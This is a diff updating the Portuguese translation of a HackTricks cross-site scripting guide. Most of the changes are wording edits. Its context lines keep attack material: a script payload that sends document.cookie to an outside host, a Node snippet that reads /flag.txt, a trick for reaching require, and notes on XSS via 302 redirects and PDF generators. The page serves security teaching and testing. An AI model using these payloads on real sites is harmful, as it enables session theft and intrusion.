-Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
+Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
 
-Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
+Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
 Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
 
 ### Apenas Letras, Números e Pontos
@@ -926,7 +926,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
 * application/rss+xml (desligado)
 * application/atom+xml (desligado)
 
-Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, confira: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
@@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
 // our actual module code
 });
 ```
-Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
+Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
 
 {% code overflow="wrap" %}
 ```javascript
@@ -1117,7 +1117,7 @@ Faça o usuário navegar na página sem sair de um iframe e roube suas ações (
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 {% hint style="info" %}
-Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte.
+Você **não poderá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte.
 {% endhint %}
 
 ### Roubar Conteúdo da Página
@@ -1352,7 +1352,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
 ### XSS em PDF criado dinamicamente
 
 Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
-Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
+Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no Servidor**.
 
 {% content-ref url="server-side-xss-dynamic-pdf.md" %}
 [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@@ -1366,7 +1366,7 @@ Se você não conseguir injetar tags HTML, pode valer a pena tentar **injetar da
 
 ### XSS em Amp4Email
 
-AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [componentes AMP](https://amp.dev/documentation/components/?format=websites).
+AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis através de [componentes AMP](https://amp.dev/documentation/components/?format=websites).
 
 O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
 
@@ -1446,15 +1446,15 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda & pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda & pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -1462,7 +1462,7 @@ Aprenda & pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 {% endhint %}